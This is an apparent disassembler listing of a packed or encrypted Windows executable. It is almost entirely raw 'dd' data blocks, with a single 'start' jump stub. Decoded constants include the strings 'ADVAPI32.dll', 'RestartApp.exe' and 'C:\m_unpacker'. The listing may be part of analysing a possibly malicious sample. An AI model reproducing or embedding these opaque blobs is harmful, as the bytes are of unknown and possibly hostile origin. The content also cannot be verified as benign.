		dd 7F718353h, 0BBD1100h, 38A516D5h, 0CE600BFh, 24AB047Eh
		dd 5B0F396Eh, 0A3AA77C7h, 9529F456h, 3B50CC40h,	2432DDA0h
		dd 0DCA4A2h, 42707456h,	0C934946Fh, 0D0CC29F9h,	0B4CB0077h
		dd 5A7BAC87h, 94262875h, 17087097h, 0CDCC8336h,	95E069C4h
		dd 0AB260BCFh, 0F450C28h, 0E61E5C81h, 12E384C0h, 202914D8h
		dd 0B564A9F0h, 2F799E00h, 0EAFC613Fh, 0EE850EE1h, 0D8549C43h
		dd 0B4DA80C0h, 50397304h, 80A8CCA0h, 201DC68Ch,	18D86890h
		dd 0F806890h, 0BF2388CBh, 19036B1Dh, 32908E3Eh,	5131F1B9h
		dd 151659C4h, 0F41C5C0Dh, 6F79F400h, 8FEAEC24h,	9FFEF93Bh
		dd 0F3D73902h, 0DC4A5000h, 710CD29h, 0BC72BA9Ch, 0E400C98Fh
		dd 4FE8AA95h, 2257C0C7h, 0BEF19480h, 38E0036h, 76ED8A7Bh
		dd 9C7BBAA6h, 0C00198A4h, 0A4F1E25Ah, 8C50F822h, 17AFCBBh
		dd 462F827Ch, 0E43D53E5h
		dd 170378A2h, 0A0DF4A41h, 0EC20F5B5h, 48880AFh,	174913E3h
		dd 212CC096h, 1901ABE1h, 0B88EC774h, 0D85042F6h, 0C81093h
		dd 0E56E302h, 14A9EBEAh, 0FC66F81Fh, 0F145C864h, 5F6088h
		dd 22200242h, 0B8AFB633h, 0E8B12174h, 0A6F3A580h, 44EBF2h
		dd 0ED510E28h, 37D61C9Eh, 4D3BE176h, 760C84C7h,	0DBC4594Ah
		dd 5356F400h, 7D742BDEh, 0F722189Fh, 5BBC5143h,	7138E5E0h
		dd 8EFC178Fh, 0CAC63C00h, 0B864D607h, 0E89154F9h, 0CE95152Fh
		dd 1D2C841Bh, 5E2C41D4h, 8228F8B1h, 18AF0905h, 3C805983h
		dd 0FED64Fh, 48170E8Ch,	26B0C6CEh, 0F801BE74h, 0B984E08Dh
		dd 4980721Ch, 0C05F747Ch, 19004E6Dh, 929653A8h,	0A01CD36h
		dd 8F13FCA1h, 0BF458098h, 0F9F4E42Ch, 1F033F1Ah, 8154C5A8h
		dd 0EAA63B64h, 2D513072h, 557C0100h, 8A8B7FFBh,	744800E6h
		dd 5CDCE4B7h, 7A03B4C8h, 4703CCAAh, 644992E5h, 90880748h
		dd 9B206657h, 5F0500FDh, 0E4EE95h, 6E1F3505h, 6F377085h
		dd 0BD26ECE9h, 6600CD7Eh, 0C7499277h, 0EE3F071Bh, 60E09911h
		dd 8B65324Ah, 62A09500h, 0C858EC3Bh, 0D8300038h, 19AAB21Ch
		dd 1D31984Bh, 625DE17Fh, 2C311BD0h, 80ECCCB8h, 61A1070Bh
		dd 0E6244C67h, 76818C4Ah, 0B8297513h, 5E41A080h, 9BE475Fh
		dd 0B97A3C03h, 0C6EC294h, 1E5C2689h, 130062F1h,	35FA2D1Bh
		dd 34A061h, 0AD69EE70h,	0FEA90C1h, 478AE71Fh, 0E8ABE340h
		dd 0C0012E03h, 3619C849h, 7005ACBh, 7F2AB2B0h, 1D829CAh
		dd 6C14B159h, 70DE7CFAh, 9700617Ah, 0AD391BAAh,	15522FCh
		dd 98F458Ah, 32B65D38h,	5E6E059Ch, 80437C16h, 0A88752C9h
		dd 282CBFAh, 0B76FED1Eh, 3D422EB8h, 0A3D8CC40h,	600098A6h
		dd 61C6EAF0h, 30F90A0Bh, 57E99B5Ch, 4501DBFDh, 96DC2475h
		dd 8C441AEh, 0E2BC0047h, 333EB3BDh, 0A8A04EEBh,	0F84BC322h
		dd 1F581C0Fh, 0EC049026h, 0D089F72Bh, 0E48680D8h, 399E7A98h
		dd 5E009FE7h, 7EA0936Dh, 66262EE6h, 0C51F98FEh,	804F4ACh
		dd 70B269C3h, 3344C800h, 0CD4BF4A3h, 4DF7CF1Ch,	0A013C100h
		dd 9831DCAEh, 5C380097h, 0AA8A60BEh, 0E20151EEh, 0A74E117Dh
		dd 4B30E7BFh, 26737BC7h, 3D9CF0CDh, 881629h, 43110D0Ch
		dd 5E48EFA5h, 25F70064h, 0B73A5BAEh, 0B12E78C1h, 7F803CFCh
		dd 0C3495F01h, 3B00D75Dh, 0B2E36F18h, 7133F1BAh, 83120080h
		dd 47958FAh, 0C42865D6h, 2B0FDCC9h, 4D614Ah, 21DBD90Fh
		dd 0F3B8009Bh, 95B9FDEAh, 14949046h, 7DF26283h,	9D03F0A2h
		dd 70D706D8h, 89A51377h, 31FFD8EFh, 45E3D400h, 273CD183h
		dd 485D004Ah, 0ED330EC4h, 0EC00E8D9h, 14891995h, 1894BA9Eh
		dd 8C42798h, 6170EFB7h,	0ED53700h, 0EC96AF01h, 2BEE0184h
		dd 0AEC56EFBh, 0AC29F6h, 81CF459Bh, 7E5710EAh, 93280030h
		dd 0D2ED9AFh, 0E2009167h, 90B14480h, 55CE94BEh,	0B820E068h
		dd 0E3B801F9h, 0FA244077h, 0F94395Ch, 0E08D8B9Ch, 0EABAC0Dh
		dd 620C0034h, 0D8796DD1h, 61094309h, 5CB929h, 0A024E88Ch
		dd 9C0B172h, 0E40166C4h, 80A6F756h, 0CB94E7A9h,	7A35FE77h
		dd 0EA040049h, 3E6DBF1Ch, 50908F57h, 0B74A2C00h, 9CC39AB0h
		dd 51636016h, 511B0BD6h, 0FE2E5807h, 0D9E7F687h, 724310C0h
		dd 7074E0DDh, 605F500Dh, 0F47509CAh, 278025ADh,	567D303Bh
		dd 0A61ADF00h, 0B7A2FD1Ch, 0A48F3112h, 0CC952CA8h, 5B06E4DBh
		dd 98D065DEh, 30244890h, 0B86F16C0h, 0DE003369h, 0EA4B3BD6h
		dd 8B9B12h, 6082AE8h, 2251E6C0h, 4D0398B9h, 0FBAE3DADh
		dd 0D91A058h, 0F55E0728h, 328D2EEEh, 0F88EC7F8h, 80DC14E4h
		dd 0EC7D36DCh, 267F42FAh, 94747B09h, 0ED28070h,	26B33A38h
		dd 1340E410h, 39DC8859h, 0CF492900h, 23C2B728h,	54E60047h
		dd 5AE7B8CCh, 0ECA6380Ch, 0D67A6A00h, 0E9C72A6h, 91BA5CA9h
		dd 0B487D338h, 752A028Fh, 26E420EFh, 27037E29h,	1C44B991h
		dd 618EC004h, 0D5F13B6Dh, 36E86E82h, 0AC60CD30h, 340089A6h
		dd 0C6843D86h, 3E2B764Bh, 20E0566Bh, 9152CE98h,	0A5388600h
		dd 0BCE3891Fh, 942B3A39h, 282E1498h, 5300296Ch,	0C445279h
		dd 763FAFFh, 0A773C89Eh, 4CAA0E3h, 0D5064C89h, 0C472C8Eh
		dd 85F10139h, 3BDD74E9h, 0A3918332h, 0C095E1A2h, 0C639E4h
		dd 0CCB9C07Ch, 0B20E5B7Fh, 4F295363h, 875DDh, 9AF81D8Eh
		dd 0D2BD58E5h, 9FCA4500h, 0B17DD8A4h, 40F31EE1h, 0E997EBh
		dd 898BA9F4h, 1D06AE09h, 0D4568D32h, 7A830749h,	10133126h
		dd 72738038h, 4C0BDE00h, 0CFC2273Bh, 56AB186Ah,	697E31D5h
		dd 0DB01237Fh, 0D82F38C0h, 9C50328Dh, 0C34AAEh,	43EDD5BFh
		dd 0F3FAAF79h, 21507130h, 3F49E01Bh, 8181060Fh,	3F1CE956h
		dd 4C44E4D9h, 0FCA8C660h, 0D09A89h, 27BBF0B9h, 0CE4016FDh
		dd 36D8080Ah, 0C880843Ah, 0AD3392A4h, 0DBD00064h, 40EC196Ch
		dd 5C1F3B73h, 67436E05h, 163A4F5Fh, 1341B9h, 8922F1F1h
		dd 19D4582Ch, 52D13C58h, 0D622B0h, 0D45E6445h, 8B936017h
		dd 0D5EE8803h, 98F614h,	18DA4539h, 85ECBDCBh, 62285A00h
		dd 0B9A9FADEh, 7CE100EDh, 55CD269Dh, 61C0433Bh,	0D3C93C59h
		dd 80B862h, 899DF830h, 0A784A127h, 85F30307h, 94901D92h
		dd 8E2C0Bh, 0C8323A7Bh,	5DD53F52h, 0A15B4C06h, 0A9D056h
		dd 0A3F335EDh, 7C348A90h, 2F8FDD15h, 0F1B300B8h, 8EBB7108h
		dd 44C44886h, 7C4328h, 8218887Ch, 0D8F1810Fh, 3B1C41FFh
		dd 0AFB19D35h, 0C7501CC0h, 18D63Ch, 25FDBC28h, 0B9AE7CA8h
		dd 3AB0AB52h, 23EB8067h, 27DDBBB8h, 0B9703035h,	519EE651h
		dd 8E282900h, 5354A8ADh, 4D4000F5h, 235E657Bh, 9148D85Fh
		dd 49424h, 35728B90h, 14D5D040h, 286B2051h, 4EE45207h
		dd 0DEEA90E0h, 0B17F656Fh, 0D349C91Fh, 574C39h,	4DB3DA13h
		dd 12B48388h, 2091DD77h, 39AFB944h, 188A5CA0h, 0D4952702h
		dd 602A5063h, 7520F718h, 65E5A7Eh, 31CF56D5h, 9292400h
		dd 0AB04A010h, 0B41B0095h, 8A983E5Fh, 1C0441AFh, 44355138h
		dd 81308Ch, 1F7ED8E9h, 9CB58FAEh, 692A2005h, 0B4412F37h
		dd 5C0EA74Ah, 0E48AF8D7h, 9E4D0304h, 0BF67950h,	28CA4900h
		dd 37AF5D29h, 0C3EB033Ch, 90DDB5F5h, 7E07D9DEh,	30401886h
		dd 9CBEF490h, 1E46141Ch, 7F74343Bh, 98DE25Eh, 5C400CA8h
		dd 0B90F4400h, 0BE197D8Fh, 85B93BC4h, 2D815F0h,	0B378EA46h
		dd 24A0E0F9h, 5E5DE939h, 1E008FECh, 3A6DEF9Ch, 4DF62BF9h
		dd 0E90C380Ch, 7131383Bh, 961DE1FAh, 0CC03109Dh, 0E0848116h
		dd 3B455152h, 0F9E4CC1h, 0B06262AEh, 20A7C410h,	81C7BD5Fh
		dd 0D8861F00h, 6AF9AE94h, 0F1B3A03Bh, 0A7F400B3h, 0DA1BA143h
		dd 0E42C213Ah, 51304711h, 3E087D6h, 4CAB0A83h, 62A869C4h
		dd 0D498A54Eh, 0B6E4D009h, 0FF1A00BBh, 0B342A0h, 431580EFh
		dd 2882DD6Ch, 0E44749C1h, 0CEE0BFB1h, 0BC8353DEh, 701E8506h
		dd 9F001142h, 5E37A210h, 0F0CCEA62h, 0B1960016h, 81B5A18h
		dd 2D0135F2h, 95AD93DAh, 14BCCB4h, 80EDFFFFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5486D9:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54BCAE
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd 3 dup(0)
		dd 4A310000h, 6731h, 5 dup(0)
		dd 3E0000h, 0A0h, 0
		dd 56670000h, 24A2h, 0
		dd 3FF0000h, 7FFEh, 694E0000h, 0B91Fh, 8DB20000h, 3C31h
		dd 9 dup(0)
		dd 40000h, 3 dup(0)
		dd 35B0000h, 7 dup(0)
		dd 38900000h, 412Ch, 4 dup(0)
		dd 72A0000h, 7F3E005Ah,	212100A3h, 2121h, 2 dup(0)
		dd 68540000h, 64696D65h, 61h, 1Eh dup(0)
		dd 4080000h, 0C7A30000h, 58h, 4	dup(0)
		dd 797F0000h, 5Ah, 13h dup(0)
		dd 0CA600000h, 0DFF3h, 2 dup(0)
		dd 26EC0000h, 2CDFh, 0Ah dup(0)
		dd 59900000h, 0FFFFh, 9	dup(0)
		dd 2E0F0000h, 77F5h, 2 dup(0)
		dd 8AAE0000h, 5Ch, 3 dup(0)
		dd 0FFE00000h, 12h, 3 dup(0)
		dd 9C370000h, 23F300A1h, 58h, 6	dup(0)
		dd 0FFB00000h, 161h, 6 dup(0)
		dd 24240000h, 2424h, 91B30000h,	0EB4Eh,	583E0000h, 68B3h
		dd 2 dup(0)
		dd 13E80000h, 0
		dd 800000h, 4D140000h, 0A57Ch, 0Ah dup(0)
		dd 0AC0000h, 2 dup(0)
		dd 230000h, 58h, 0FF170000h, 23F3FFFBh,	14B2h, 8D530000h
		dd 0A5h, 4 dup(0)
		dd 0A60A0000h, 58h, 8 dup(0)
		dd 53FE0000h, 59h, 3 dup(0)
		dd 92340000h, 0A1h, 5Ah, 2 dup(0)
		dd 6180000h, 77E8h, 0
		dd 230000h, 5Ch, 6 dup(0)
		dd 47880000h, 85BDh, 0
		dd 1D850000h, 0AE00h, 6	dup(0)
		dd 23D70000h, 77DDh, 0
		dd 36360000h, 3636h, 3 dup(0)
		dd 28Bh, 5 dup(0)
		dd 0FFFF0000h, 0FFFFh, 0
		dd 8B900000h, 162FFFFFh, 0E9FEF5h, 23D70004h, 77DDh, 0
		dd 8D590000h, 2784h, 1C70000h, 10002D6Bh, 32080000h, 131h
		dd 2 dup(0)
		dd 1B400000h, 76B4h, 4 dup(0)
		dd 0E3970000h, 5Bh, 4 dup(0)
		dd 20000h, 92520000h, 54h, 0Ah dup(0)
		dd 8A1E0000h, 59h, 4 dup(0)
		dd 230000h, 2A0058h, 9 dup(0)
		dd 3C0000h, 0AFh, 79630000h, 982C77E7h,	0FFFFh,	1CE10000h
		dd 9608h, 25Bh,	6 dup(0)
		dd 32080000h, 131h, 4 dup(0)
		dd 230000h, 54h, 0
		dd 6A140000h, 3	dup(0)
		dd 3DD10000h, 0FFABh, 6	dup(0)
		dd 0C4210000h, 58h, 5 dup(0)
		dd 30DF0000h, 0A9C5h, 2	dup(0)
		dd 69DD0000h, 0A1h, 2 dup(0)
		dd 0F0000000h, 847FFDh,	2 dup(0)
		dd 80000h, 242h, 0
		dd 46B00000h, 11CAh, 9 dup(0)
		dd 0E800000h, 1A40000h,	0E3C37FFEh, 0A6E90058h,	77EBh
		dd 320E0000h, 0FFFF0058h, 7, 4 dup(0)
		dd 7FE30000h, 5Bh, 0F4240000h, 5CB50001h, 77E7h, 0
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 3Ch dup(0)
		dd 308B0000h, 0C22F0000h, 54h, 3 dup(0)
		dd 7C110000h, 0B870005Bh, 70C6h, 8 dup(0)
		dd 4EE90000h, 0C42177F5h, 58h, 0
		dd 0DDA20000h, 59h, 17h	dup(0)
		dd 32480000h, 0FFA6h, 3040000h,	7FFEh, 3 dup(0)
		dd 7D10000h, 3040000h, 7FFEh, 0EDF70000h, 7FFDh, 0
		dd 81F90000h, 5	dup(0)
		dd 0A6D20000h, 5Ch, 27h	dup(0)
		dd 0A1D60000h, 2E0Ch, 0E1330000h, 40059h, 0
		dd 0C96A0000h, 3AC77D4h, 3C74h,	3 dup(0)
		dd 3040000h, 7FFEh, 0FFC40000h,	15680012h, 0A2h, 2 dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 80000h, 0Fh,	0Ah dup(0)
		dd 23E80000h, 5Ch, 4 dup(0)
		dd 8B820000h, 3E77E7h, 77FFh, 11h dup(0)
		dd 0C2160000h, 0FD1F0054h, 0E0898058h, 58h, 3 dup(0)
		dd 2BDE0000h, 0A1h, 3 dup(0)
		dd 0CF380000h, 5Bh, 0
		dd 25E50000h, 8B27h, 0Ah dup(0)
		dd 8DD10000h, 1F7Eh, 0Ah dup(0)
		dd 89330000h, 3E3B8818h, 447200A1h, 58h, 0
		dd 6A140000h, 0
		dd 3040000h, 7FFEh, 994A0000h, 54h, 2 dup(0)
		dd 0D05B0000h, 0FFA2h, 0Eh dup(0)
		dd 230000h, 58h, 2 dup(0)
		dd 0FEF80000h, 12h, 2 dup(0)
		dd 4A310000h, 6731h, 2 dup(0)
		dd 0FA560000h, 0A1h, 2 dup(0)
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
		dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A1A037B8h
		dd 8BE0FF00h, 0FF042444h, 0E0h,	16h dup(0)
		dd 25Ah, 0C6EB0000h, 57h, 23760000h, 58h, 24050000h, 58h
		dd 0Ah dup(0)
		dd 77BE0000h, 0FFABh, 2	dup(0)
		dd 96230000h, 0FF5Eh, 6A140000h, 2 dup(0)
		dd 3B130000h, 58h, 90750000h, 10058h, 6	dup(0)
		dd 0E6970000h, 5BDh, 10F30000h,	5Ah, 0
		dd 4C590000h, 7ED0h, 64h dup(0)
		dd 1F20000h, 28Bh, 4 dup(0)
		dd 89B30000h, 8D59FD51h, 0C0322784h, 0E5860001h, 85FEFFE2h
		dd 0B6Eh, 4 dup(0)
		dd 33330000h, 2	dup(33333333h),	23BC3333h, 23FFFFh, 54h
		dd 5 dup(0)
		dd 0FCFC0000h, 8001h, 1Bh dup(0)
		dd 0FFB00000h, 211h, 5 dup(0)
		dd 13100000h, 10Eh, 5DFE0000h, 5Ch, 7C00000h, 0FFFF005Ah
		dd 0FFFFh, 3 dup(0)
		dd 0C7260000h, 0FF5477E7h, 12h,	0
		dd 0C4210000h, 9C2C0058h, 0A00FEF7Ah, 10000h, 87B30000h
		dd 0FFA7h, 0
		dd 1CA30000h, 4FEE0058h, 6D53h,	15680000h, 0A2h, 0D11E0000h
		dd 59h,	9 dup(0)
		dd 0E780000h, 0D128005Ah, 85Bh,	59740000h, 8655h, 0
		dd 0B7FA0000h, 0C71377FBh, 57h,	4 dup(0)
		dd 0E9BD0000h, 967A005Ch, 54h, 23h dup(0)
		dd 0C2E90000h, 2 dup(0)
		dd 0ECF50000h, 12093BFFh, 8002h, 9 dup(0)
		dd 73160000h, 0A3h, 4 dup(0)
		dd 50900000h, 5Bh, 92000000h, 71B9FFA5h, 3A0FFA3h, 0AC5E0000h
		dd 77E7h, 0
		dd 0FCFC0000h, 23Eh, 0Eh dup(0)
		dd 8DB00000h, 0FFA6h, 0Dh dup(0)
		dd 0EDE90000h, 0D1AB0000h, 0BFE0h, 3 dup(0)
		dd 9BAC0000h, 0FEF800A3h, 0DC0D0012h, 0F115FFA7h, 3FC6h
		dd 0
		dd 0F4F50000h, 58h, 7D960000h, 0CBF072F5h, 0DFF3h, 5 dup(0)
		dd 0BBC80000h, 5Ch, 2 dup(0)
		dd 0E0180000h, 0CCDBh, 6A140000h, 2 dup(0)
		dd 780000h, 3 dup(0)
		dd 242h, 85E70000h, 6471h, 0
		dd 22D40000h, 0A2h, 0
		dd 4A680000h, 5Bh, 6 dup(0)
		dd 4BB60000h, 304005Bh,	7FFEh, 3 dup(0)
		dd 32680000h, 156800A2h, 5ECC00A2h, 77DDh, 0Bh dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 0A00F0000h, 0A1h, 4 dup(0)
		dd 2FE80000h, 77E8h, 3 dup(0)
		dd 61170000h, 2FA5FF4Ah, 23E8005Dh, 0A2h, 5CB50000h, 963B77E7h
		dd 57h,	0
		dd 0C71877D4h, 58h, 8 dup(0)
		dd 20800000h, 0A106h, 3	dup(0)
		dd 1FFB0000h, 1A8Dh, 0DA440000h, 938EC246h, 54h, 4 dup(0)
		dd 190000h, 2 dup(0)
		dd 94DC0000h, 0FFFFh, 75350000h, 5Bh, 0Ah dup(0)
		dd 7FD80000h, 0A3h, 0A0370000h,	0E69700A1h, 5BDh, 2 dup(0)
		dd 46040000h, 8C0A11DDh, 0E67300A1h, 5Bh, 6CE10000h, 809Fh
		dd 8390000h, 57h, 9 dup(0)
		dd 3040000h, 7FFEh, 0
		dd 69C40000h, 5Bh, 0Ah dup(0)
		dd 51FD0000h, 5Bh, 0
		dd 23F30000h, 53190058h, 30434B5h, 7FFEh, 3 dup(0)
		dd 10000h, 7 dup(0)
		dd 88D80000h, 58h, 5 dup(0)
		dd 77BE0000h, 0FFABh, 20440000h, 4Ah, 0Ah dup(0)
		dd 59F00000h, 77DDh, 8 dup(0)
		dd 53D40000h, 0FFFFh, 3	dup(0)
		dd 0FF540000h, 12h, 3 dup(0)
		dd 0FFB00000h, 1A1h, 22F10000h,	34Ah, 0B4EB0000h, 57h
		dd 11h dup(0)
		dd 50000000h, 7FFF001Dh, 2 dup(0)
		dd 4B150000h, 0FFA8h, 0Bh dup(0)
		dd 0BC000000h, 0C72CBF67h, 54h,	20000h,	4 dup(0)
		dd 0D11E0000h, 59h, 0
		dd 87D0000h, 10000058h,	40h, 5D9A0000h,	58h, 0B1340000h
		dd 0FFE000A3h, 9F70012h, 0A1h, 0A40000h, 0Dh dup(0)
		dd 91DD0000h, 0A1h, 2 dup(0)
		dd 8D8D0000h, 27CC2B06h, 0C127h, 2360000h, 0D275h, 14h dup(0)
		dd 9A400000h, 0FFFCh, 0
		dd 8FBA0000h, 0FFA4h, 7	dup(0)
		dd 0FFB00000h, 59h, 3 dup(0)
		dd 86690000h, 5Ah, 0
		dd 0C8300000h, 0FFFFh, 70C40000h, 0A1h,	0
		dd 4160000h, 3E3Ah, 0D230000h, 0B191h, 80h dup(0)
		dd 5DFE0000h, 0EEF9005Ch, 8 dup(0)
		dd 41800000h, 7AEE77E8h, 22B3h,	7 dup(0)
		dd 0ED980000h, 4905h, 14h dup(0)
		dd 31C80000h, 67DF9608h, 0FFE03C06h, 12h, 359D0000h, 583Bh
		dd 0Ah dup(0)
		dd 21680000h, 2, 81110000h, 1E7Ah, 559E0000h, 304783Fh
		dd 0C73B7FFEh, 0E3970057h, 5Bh,	0F1930000h, 5Bh, 3 dup(0)
		dd 0FFFA0000h, 77FFh, 2	dup(0)
		dd 94990000h, 0A1h, 225D0000h, 0FFA6h, 0
		dd 44780000h, 58h, 2 dup(0)
		dd 700000h, 0
		dd 0AB360000h, 77F5h, 0FFA40000h, 12h, 5 dup(0)
		dd 0C96A0000h, 96C777D4h, 156h,	0
		dd 0C4210000h, 22220058h, 22222222h, 69DD2222h,	0D11E00A1h
		dd 740059h, 3 dup(0)
		dd 0A5E70000h, 0CE3E00A5h, 0EED7h, 47880000h, 85BDh, 4 dup(0)
		dd 177E6h, 6 dup(0)
		dd 0FF540000h, 0CA000012h, 3, 69DD0000h, 0A1h, 980000h
		dd 6 dup(0)
		dd 0C4920000h, 57h, 4 dup(0)
		dd 20DF0000h, 59h, 2 dup(0)
		dd 7FFF025Ch, 2	dup(0)
		dd 0E2620000h, 1DA65h, 2 dup(0)
		dd 8D8D0000h, 9608h, 5 dup(0)
		dd 92AA0000h, 0FFE5005Bh, 0BC10h, 16C90000h, 64B3h, 5CB50000h
		dd 77E7h, 3 dup(0)
		dd 6A140000h, 5D9A0000h, 58h, 0
		dd 10000h, 70C40000h, 0A1h, 0
		dd 4B9F0000h, 0A6B6h, 9	dup(0)
		dd 8D8D0000h, 0CC380BD1h, 0A64Bh, 0
		dd 0D11E0000h, 59h, 0
		dd 149B0000h, 0A5FD9826h, 69DD77E7h, 0A1h, 3 dup(0)
		dd 99CE0000h, 54h, 2 dup(0)
		dd 0A0990000h, 77E7h, 3	dup(0)
		dd 22920000h, 0A1h, 4 dup(0)
		dd 8F6E0000h, 5Ch, 0
		dd 8CE90000h, 2	dup(0)
		dd 7C4B0000h, 5Bh, 0Bh dup(0)
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 83020000h, 5Ah, 0B2h	dup(0)
		dd 10000h, 0
		dd 0FFB00000h, 466C01F1h, 0F29h, 6 dup(0)
		dd 0BE430000h, 54h, 63D40000h, 1085h, 0
		dd 93AB0000h, 7DB1h, 2 dup(0)
		dd 2CE90000h, 2A950000h, 0F281h, 0
		dd 33780000h, 59h, 9 dup(0)
		dd 70BF0000h, 70F1h, 2 dup(0)
		dd 0FFFE0000h, 0C785FFFFh, 77E7h, 5 dup(0)
		dd 0A8370000h, 77E7h, 6	dup(0)
		dd 982C0000h, 0FFFFh, 3	dup(0)
		dd 0B55F0000h, 3 dup(0)
		dd 3040000h, 7FFEh, 3040000h, 7FFEh, 3 dup(0)
		dd 0A80000h, 0Ah dup(0)
		dd 0EDAC0000h, 880Ah, 4	dup(0)
		dd 0D7060000h, 77E6h, 2	dup(0)
		dd 0A00F0000h, 0A1h, 6DE0000h, 0ADh, 2 dup(0)
		dd 69DD0000h, 0A1h, 0
		dd 7CB70000h, 77E7h, 0
		dd 5D80000h, 77E8h, 0B55F0000h,	0
		dd 0A00F0000h, 314500A1h, 0A1h,	2 dup(0)
		dd 0BC0000h, 0D8E4h, 0
		dd 0A8740000h, 58h, 8C0A0000h, 0A1h, 515E0000h,	58h, 0
		dd 0DC370000h, 767Eh, 6	dup(0)
		dd 0F0000000h, 4Dh, 0
		dd 22550000h, 230059h, 58h, 0A9A0000h, 0A0h, 5 dup(0)
		dd 6A140000h, 4	dup(0)
		dd 0FFFF0000h, 58h, 3 dup(0)
		dd 10140000h, 0Eh, 2Ah dup(0)
		dd 21680000h, 77E8h, 0ECFD0000h, 3BFFh,	0
		dd 600000h, 7 dup(0)
		dd 0DDA30000h, 59h, 69DD0000h, 0A1h, 0B8h, 6 dup(0)
		dd 0CA600000h, 6EC9DFF3h, 3041076h, 7FFEh, 706C0000h, 4433h
		dd 2 dup(0)
		dd 8D8D0000h, 0BD1h, 0Bh dup(0)
		dd 98740000h, 0FFFFh, 5	dup(0)
		dd 0E9BD025Bh, 5Ch, 0Bh	dup(0)
		dd 10000h, 0
		dd 1000000h, 0A00F0000h, 0D83800A1h, 54h, 7 dup(0)
		dd 3D940000h, 8	dup(0)
		dd 66600000h, 0D88Ch, 0A00F0000h, 0A1h,	77F5h, 0
		dd 0FE60000h, 0A0h, 866D0000h, 0FF46h, 5DFE0000h, 5Ch
		dd 0Ah dup(0)
		dd 77DDh, 6 dup(0)
		dd 9C810000h, 7601h, 0A9A0000h,	0A0h, 0
		dd 0FFE00000h, 93EF0012h, 77E7h, 10000h, 6 dup(0)
		dd 0A0B90000h, 0E0C7h, 4 dup(0)
		dd 0C5A00000h, 7FFEh, 88420000h, 3 dup(0)
		dd 0E9040000h, 1369h, 2	dup(0)
		dd 940000h, 5DFE0000h, 5Ch, 56430040h, 0
		dd 30DF0000h, 0A9C5h, 2	dup(0)
		dd 0C2160000h, 54h, 1Ah	dup(0)
		dd 3040000h, 7FFEh, 0C5A00000h,	7FFEh, 88D60000h, 58h
		dd 2 dup(0)
		dd 23F30000h, 58h, 0
		dd 6A140000h, 77BE0000h, 0FFABh, 0AC0000h, 0FFEDh, 0
		dd 6B60000h, 0Eh dup(0)
		dd 0D97C0000h, 0FF4Eh, 3040000h, 7FFEh,	2 dup(0)
		dd 0DFF70000h, 0A1h, 4 dup(0)
		dd 0FFB00000h, 201h, 0Fh dup(0)
		dd 709B0000h, 13A88D8Ch, 3 dup(0)
		dd 0C2E90000h, 0
		dd 0A0h, 7 dup(0)
		dd 109B0000h, 88110000h, 0DC0D257Ch, 0FFA7h, 1B200000h
		dd 0FCFC0000h, 8001h, 8	dup(0)
		dd 0DDA30000h, 59h, 4 dup(0)
		dd 68BD0000h, 0C0B821F0h, 65522A2Eh, 72617473h,	70704174h
		dd 6578652Eh, 0
		dd 620000h, 2 dup(0)
		dd 10000h, 0BBC80000h, 5Ch, 5FF10000h, 0FF5Eh, 0
		dd 0B55F0000h, 2 dup(0)
		dd 0A98E0000h, 5Ah, 0
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 81h dup(0)
		dd 6A140000h, 5	dup(0)
		dd 9F0C0000h, 3F3h, 0Bh	dup(0)
		dd 0FFB00000h, 1A1h, 938F0000h,	54h, 0
		dd 22D80000h, 0A2h, 21E90000h, 69DD0E21h, 0A1h,	0C4210000h
		dd 58h,	12h dup(0)
		dd 105C0000h, 77E7h, 0
		dd 5F000000h, 2	dup(0)
		dd 0FF540000h, 12h, 0
		dd 0E5220000h, 83940C4h, 44780057h, 58h, 6 dup(0)
		dd 94880000h, 0FFFFh, 0D5540000h, 200A0h, 0
		dd 99CE0000h, 54h, 988C0000h, 51B6h, 0DF1D0000h, 6 dup(0)
		dd 0E180000h, 11h dup(0)
		dd 10000h, 0
		dd 99950000h, 0A5h, 3 dup(0)
		dd 10CD0000h, 23F3A6C1h, 58h, 0
		dd 53FE0000h, 2E3B0059h, 35ECh,	0E5430000h, 0DD1B0049h
		dd 0E3090000h, 23F3005Bh, 58h, 2 dup(0)
		dd 8020000h, 4809h, 6 dup(0)
		dd 3D940000h, 0A1FE0000h, 0B1h,	0
		dd 0FFFE0000h, 0FFFFh, 4 dup(0)
		dd 5EA30000h, 0A07FA9h,	0D7A60000h, 809Fh, 1Ch dup(0)
		dd 20000h, 2 dup(0)
		dd 267E0000h, 1365h, 9 dup(0)
		dd 71E90000h, 1050059h,	0A28h, 0
		dd 0C4920000h, 57h, 4 dup(0)
		dd 0CD470000h, 7BB45CF4h, 690Bh, 38580000h, 0FFA7h, 2 dup(0)
		dd 68DE0000h, 58h, 0Dh dup(0)
		dd 3A7E0000h, 0FFFCh, 0
		dd 0C40000h, 0A8850000h, 58h, 2	dup(0)
		dd 31B40000h, 58h, 10h dup(0)
		dd 5E2E0000h, 0A1h, 0Bh	dup(0)
		dd 278D0000h, 3F57h, 3 dup(0)
		dd 5C4C0000h, 399943F6h, 3449h,	4 dup(0)
		dd 43220000h, 5Ah, 3 dup(0)
		dd 77E6h, 51A30000h, 0FFA7h, 638B0000h,	10059h,	0
		dd 7870000h, 5Ah, 2 dup(0)
		dd 3040000h, 7FFEh, 0E8710000h,	645Ah, 3 dup(0)
		dd 7FFF0000h, 392Fh, 0
		dd 0A0h, 0FFB00000h, 1A1h, 4 dup(0)
		dd 0FFF00000h, 0C2E90012h, 4 dup(0)
		dd 0FF640000h, 880012h,	6 dup(0)
		dd 91BB0000h, 7C150058h, 0CC8856C4h, 0FFA6h, 0
		dd 40000h, 0
		dd 0C4780000h, 57h, 0F685h, 10000h, 4 dup(0)
		dd 0A6D20000h, 5Ch, 2 dup(0)
		dd 0E220000h, 0
		dd 0C4210000h, 58h, 3 dup(0)
		dd 6180000h, 6060h, 6 dup(0)
